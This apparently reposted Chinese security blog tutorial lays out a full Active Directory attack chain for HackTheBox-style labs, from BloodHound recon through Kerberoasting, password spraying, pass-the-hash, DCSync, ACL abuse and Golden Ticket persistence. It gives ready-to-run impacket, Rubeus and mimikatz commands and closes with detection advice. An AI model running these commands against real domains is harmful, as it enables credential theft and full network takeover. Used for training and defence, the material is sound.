文章总结: 本文系统梳理了AD域渗透完整攻击链,涵盖从低权限立足到获取域控并持久化的全过程。核心要点包括利用BloodHound与PowerView进行域结构侦察与路径规划;通过Kerberoasting、AS-REPRoasting及密码喷洒获取凭据;借助PTH与PTT技术横向移动;利用DCSync导出哈希及ACL滥用提权至域管;最终伪造GoldenTicket实现持久化。文章同时提供了基于事件监控与权限管控的蓝队防御建议,对安全从业者实战攻防具有较高指导价值。 综合评分: 88 文章分类: 内网渗透,渗透测试,实战经验,漏洞分析
[技术深浅] AD域渗透攻击链全解
原创
丘驰 丘驰
极客零零七
2026年2月26日 18:02 加拿大
在小说阅读器读本章
去阅读
声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于 HackTheBox 等合法靶机平台。
引言:为什么 AD 攻击是企业渗透的核心战场
现实中的企业网络,十之八九在用 Active Directory(AD)。AD 是微软的集中式身份和访问管理系统,管理所有用户、计算机、策略——这也意味着,攻破 AD 就等于攻破整个企业网络。
我第一次打 AD 靶机(HTB Forest)的时候,面对 BloodHound 那张庞大的关系图,完全不知从哪入手。打了十几台 AD 靶机之后,才慢慢摸清一个规律:AD 渗透有固定的攻击链,核心节点就那几个,绕来绕去都是这些技术。
这篇文章把 AD 攻击的完整链路系统化——从如何在域内立足、到获取域控权限、最后持久化,每个环节都有原理解释和实战命令。
适合读者:已理解基础渗透流程,想系统学习 AD 攻击的安全从业者、OSCP/CRTE 备考者。
一、AD 基础:你必须理解这些概念
核心组件
| 组件 | 说明 | | — | — | | 域控(DC) | AD 的大脑,管理所有认证和授权 | | 域用户 | AD 管理的用户账户 | | 域计算机 | 加入域的主机 | | 安全组 | Domain Admins(DA)是目标 | | SPN | 服务主体名称,Kerberoasting 的关键 | | KRBTGT | 域中最关键的服务账户,持有 Golden Ticket 的密钥 |
Kerberos 认证流程(简化版)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
用户登录 ↓向 DC 请求 TGT(Ticket Granting Ticket) ↓ (AS-REQ / AS-REP)拿到 TGT(用 KRBTGT 哈希加密) ↓用 TGT 向 DC 请求访问特定服务的票据(TGS) ↓ (TGS-REQ / TGS-REP)拿到 TGS(用目标服务账户哈希加密) ↓用 TGS 访问服务
为什么 Kerberos 可以被攻击:TGS 是用服务账户的 NTLM 哈希加密的,任何域用户都能请求 TGS,然后离线暴力破解——这就是 Kerberoasting。
二、攻击链总览
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
域内立足点(低权限用户 / 机器账户) ↓ 一、侦察与枚举 BloodHound + PowerView 收集域结构 ↓ 二、密码攻击 Kerberoasting / AS-REP Roasting / 密码喷洒 ↓ 三、横向移动 PTH / PTT / Over-Pass-the-Hash / WinRM ↓ 四、权限提升至 Domain Admin ACL 滥用 / DCSync / 特权账户 ↓ 五、持久化 Golden Ticket / Silver Ticket / 后门账户
三、第一步:域内侦察
3.1 BloodHound(必跑)
BloodHound 把 AD 的关系图可视化,帮你找到从当前账户到 Domain Admin 的最短路径。
- 1
- 2
- 3
- 4
- 5
- 6
# 方法一:SharpHound(在 Windows 靶机上运行).\SharpHound.exe -c All --zipfilename bloodhound.zip
# 方法二:bloodhound-python(从攻击机远程收集,无需在目标上运行工具)pip install bloodhoundbloodhound-python -u user -p password -ns <DC_IP> -d domain.local -c All
BloodHound 必查的预置查询:
| 查询 | 作用 | | — | — | | Find all Domain Admins | 确认目标账户 | | Find Shortest Paths to Domain Admins | 从当前账户到 DA 的最短路 | | Find Principals with DCSync Rights | 谁能 DCSync | | Find AS-REP Roastable Users | 可 AS-REP 攻击的账户 | | Find Kerberoastable Users | 有 SPN 的服务账户 |
使用步骤:
- 启动 neo4j:
sudo neo4j start - 启动 bloodhound:
bloodhound - 上传 .zip 文件
- 执行上述查询,右键高亮路径节点,看”滥用”说明(Abuse Info)
3.2 PowerView / LDAP 枚举
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
Import-Module .\PowerView.ps1
# 基础信息Get-DomainGet-DomainController(Get-DomainPolicy)."system access" # 查密码策略(锁定阈值)
# 找可 Kerberoast 的用户(有 SPN)Get-DomainUser -SPN | Select-Object SamAccountName,ServicePrincipalName
# 找可 AS-REP Roast 的用户(不需要预认证)Get-DomainUser -UACFilter DONT_REQ_PREAUTH | Select-Object SamAccountName
# 找 Domain Admins 成员Get-DomainGroupMember "Domain Admins" | Select-Object MemberName,MemberSID
# ACL 枚举(找可利用的权限关系)Find-InterestingDomainAcl -ResolveGUIDs | Select-Object ObjectDN,ActiveDirectoryRights,IdentityReferenceName
四、第二步:密码攻击
4.1 Kerberoasting(最高频攻击)
原理:任何域用户都可以请求有 SPN 的服务账户的 TGS,拿到后离线破解。
- 1
- 2
- 3
- 4
- 5
- 6
- 7
# 攻击机执行(impacket)impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request# 输出 $krb5tgs$23$... 格式的哈希
# 破解(hashcat)hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txthashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r best64.rule
- 1
- 2
- 3
# Windows 上(Rubeus).\Rubeus.exe kerberoast /nowrap# 直接输出格式化的哈希,复制去 hashcat
HTB 经验:HTB Forest、Active 靶机的核心就是 Kerberoasting,服务账户密码通常在 rockyou 前几十万条里。
4.2 AS-REP Roasting
原理:如果用户设置了”不需要 Kerberos 预身份验证”,攻击者无需凭据就能获取 AS-REP,其中包含用用户哈希加密的部分,可离线破解。
- 1
- 2
- 3
- 4
- 5
- 6
# 无凭据枚举 AS-REP Roastable 用户impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC_IP>impacket-GetNPUsers domain.local/ -dc-ip <DC_IP> -request -no-pass -usersfile users.txt -format hashcat
# 破解hashcat -m 18200 asreproast.txt /usr/share/wordlists/rockyou.txt
HTB 经验:HTB Forest 靶机的初始立足点就是 AS-REP Roasting,通过 LDAP 匿名枚举拿到用户名列表,再 AS-REP Roasting 拿到密码。
4.3 密码喷洒(Password Spray)
适合场景:有用户名列表,不知道密码,但想避免账户锁定。
- 1
- 2
- 3
- 4
- 5
- 6
# CrackMapExec(最常用)crackmapexec smb <DC_IP> -u users.txt -p 'Welcome1!' --continue-on-success
# Kerbrute(不会触发传统的账户锁定日志)./kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Welcome1!'./kerbrute userenum -d domain.local --dc <DC_IP> users.txt # 先枚举有效用户
密码喷洒原则:先查密码策略(锁定阈值通常是 5 次),每批喷洒不超过 3 次,批次之间等待锁定窗口(通常 30 分钟)。
五、第三步:横向移动
有了凭据(密码或哈希),横向移动到更高权限的机器。
5.1 Pass-the-Hash(PTH)
原理:Windows 的 NTLM 认证可以直接用哈希,不需要明文密码。
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
# impacket-psexec(最常用,会有系统日志)impacket-psexec domain/admin@<target> -hashes :NTLM_HASH
# evil-winrm(安静,走 WinRM 5985 端口)evil-winrm -i <target> -u admin -H NTLM_HASH
# CrackMapExec(验证 + 执行命令)crackmapexec smb <target> -u admin -H NTLM_HASH -x "whoami"crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH # 批量验证
5.2 Pass-the-Ticket(PTT)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
# Rubeus 导出票据.\Rubeus.exe dump /nowrap
# 导入特定票据.\Rubeus.exe ptt /ticket:<base64_ticket>
# 验证klist
5.3 Over-Pass-the-Hash
用 NTLM 哈希申请 Kerberos 票据,绕过只检查 Kerberos 的场景:
- 1
.\Rubeus.exe asktgt /domain:domain.local /user:admin /rc4:NTLM_HASH /ptt
六、第四步:关键域攻击
6.1 DCSync(获取所有哈希的终极手段)
前提:有 DS-Replication-Get-Changes-All 权限(DA、EA 或被授权账户)
- 1
- 2
- 3
- 4
- 5
- 6
# impacket(在攻击机执行)impacket-secretsdump domain/admin:password@<DC_IP>impacket-secretsdump domain/admin@<DC_IP> -hashes :NTLM_HASH
# 只导出 krbtgt(用于 Golden Ticket)impacket-secretsdump domain/admin:password@<DC_IP> -just-dc-user krbtgt
- 1
- 2
# Mimikatz(在目标机执行).\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:domain.local /user:krbtgt" exit
拿到 krbtgt 哈希意味着你可以伪造任意票据(Golden Ticket)——这是域的最终沦陷。
6.2 ACL 滥用(BloodHound 最核心的价值)
BloodHound 把可利用的 ACL 权限可视化,常见场景:
| ACL 权限 | 目标 | 利用方式 | | — | — | — | | GenericAll on User | 任意用户 | 修改密码 / 添加 SPN | | GenericAll on Group | Domain Admins | 把自己加进去 | | GenericWrite on User | 服务账户 | 添加 SPN → Kerberoast | | WriteDACL | 域对象 | 给自己加 DCSync 权限 | | ForceChangePassword | 管理员账户 | 强制修改密码 |
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
# 利用 GenericAll 修改用户密码(PowerView)Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss!' -AsPlainText -Force)
# 利用 GenericAll 将自己加入 Domain AdminsAdd-DomainGroupMember -Identity "Domain Admins" -Members "currentuser"Verify: Get-DomainGroupMember "Domain Admins"
# 利用 WriteDACL 给自己加 DCSync 权限Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity currentuser -Rights DCSync# 然后执行 DCSync
6.3 Golden Ticket(持久化神器)
前提:获得 krbtgt 账户的 NTLM 哈希
- 1
- 2
- 3
- 4
# impacketimpacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administratorexport KRB5CCNAME=Administrator.ccacheimpacket-psexec -k -no-pass domain.local/Administrator@<DC>
- 1
- 2
# Mimikatz.\mimikatz.exe "kerberos::golden /user:FakeAdmin /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:KRBTGT_HASH /ptt" exit
Golden Ticket 的恐怖之处:即使域管理员重置了密码,只要 krbtgt 哈希不变,Golden Ticket 就永久有效(默认 10 年)。
七、完整 AD 攻击路径速查
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
域内立足点(普通用户) ↓[BloodHound + PowerView 枚举] ├─→ AS-REP Roastable 用户? → AS-REP Roast → 破解 → 更高权限账户 ├─→ Kerberoastable 服务账户? → Kerberoast → 破解 → 横向 └─→ ACL 可利用? → GenericAll/WriteDACL → 加入 DA 或 DCSync 权限 ↓ [横向移动到 DC 附近的机器] PTH / evil-winrm / psexec ↓ [DCSync 或直接 LSASS 转储] 获取 krbtgt 哈希 + Administrator 哈希 ↓ [Golden Ticket 持久化] 域永久后门
八、蓝队防御建议
| 攻击技术 | 检测 / 防御 | | — | — | | Kerberoasting | 监控 TGS 请求(4769);服务账户密码 25 位以上 | | AS-REP Roasting | 检查不需要预认证的账户,确保有实际需要才禁用 | | DCSync | 监控 4662 事件(DS-Replication-Get-Changes);严格控制复制权限 | | PTH | 启用 Windows Credential Guard;禁用 NTLM(较复杂) | | Golden Ticket | 监控异常 TGT(生命周期过长);定期双重重置 krbtgt 密码 | | BloodHound 收集 | 监控 LDAP 大量查询(4662);限制 LDAP 匿名访问 |
关键收获
- BloodHound 是 AD 渗透的眼睛:没有 BloodHound 就是蒙眼走路,任何时候都要先跑收集。
- Kerberoasting 是最低门槛的 AD 攻击:只需要一个普通域用户,就能获取服务账户的哈希。
- krbtgt 哈希 = 游戏结束:拿到它意味着可以伪造任意用户的票据,整个域都在掌控之中。
回复
AD攻击获取 AD 攻击命令速查手册 PDF下篇预告:[技术深潜] 密码破解实战手册 ——从哈希识别到暴力破解的完整方法论
关注「极客零零七」,每周实战攻防干货
#
参考资料
- https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
- https://bloodhound.readthedocs.io/
- https://www.ired.team/
- HTB 推荐练习靶机:Forest(Easy)、Active(Easy)、Sauna(Easy)、Resolute(Medium)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:极客零零七 丘驰 丘驰《[技术深浅] AD域渗透攻击链全解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。


![[技术深浅]AD域渗透攻击链全解](/images/random/titlepic/14.jpg)




评论